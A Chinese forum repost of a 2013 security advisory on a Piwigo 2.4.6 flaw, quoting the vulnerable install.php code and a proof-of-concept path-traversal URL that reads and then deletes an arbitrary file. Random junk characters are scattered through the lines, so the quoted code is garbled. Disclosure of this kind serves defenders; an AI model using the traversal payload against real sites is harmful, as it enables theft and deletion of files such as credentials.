找回密码
 立即注册
查看: 3242|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
' ^# t1 s. w( h$ Q6 r0 t$ A- v0 C) ^: {
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。% z$ \5 k5 D/ E" p  z4 N
====================================================================7 Q. j% u% {) o. a- q2 O- ~+ X
/install.php:6 b9 o, i( @0 g8 s. j$ i* I
-------------9 U% H0 {. ]$ b- r2 L
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])): l( \: @' i# V/ \( i) {
114: {4 f$ u( ^4 z+ p. ]! _) K
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];# J1 k8 H$ B! s* X& P/ a
116:   header('Cache-Control: no-cache, must-revalidate');6 ~1 c4 U- _& V/ `
117:   header('Pragma: no-cache');  W1 _+ G7 |: F5 i* b1 l9 R0 }5 z- ~
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
6 p+ Z2 U- r) i  |; s1 a7 Z119:   header('Content-Transfer-Encoding: binary');3 m6 s6 c4 ~1 F, Y3 R
120:   header('Content-Length: '.filesize($filename));
# |- A  J" a6 ^$ F  \9 b+ `121:   echo file_get_contents($filename);
8 L) b4 v0 `0 {5 _, w; E2 @122:   unlink($filename);
; M- W  `: E7 B: m123:   exit();
# J' ^/ Z" D5 n  N5 T! j0 R9 N124: }
( O( R: w5 m$ g" A& W====================================================================
9 k( \- A" B" d: y( e& A7 N- o
7 |, ^+ W$ F' F1 pTested on: Microsoft Windows 7 Ultimate SP1 (EN)0 |7 b( ], x7 y* O0 G( T/ A
           Apache 2.4.2 (Win32)
5 ^7 E3 y1 j2 v3 J, U6 }, x           PHP 5.4.4! ~" W. r3 g7 u0 w, u
           MySQL 5.5.25a
( T3 O" ^( c- i/ ~9 o  D 8 y3 q4 p! s: j
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
& F' S: J- q1 s/ Q' Y  s9 l2 u                            @zeroscience4 ]9 P5 n# Z/ M- x

' Y3 N( x- D* \+ c( l6 hAdvisory ID: ZSL-2013-5127" b& a3 @$ f7 A# g$ e' V
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php& N2 h; S- M3 j3 ~( ]
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
7 @- _2 t! l0 {, z4 M9 H
" L6 H% L7 z" w/ k$ A15.02.2013
5 s4 u; k; ^6 I' H6 r/ |$ V& K
6 w: F! u; J. p' \* y--* |: X, H. U) U1 x# Y
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
9 C& b0 @; X" S  O: _9 W3 F 2 e6 F9 o) D/ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表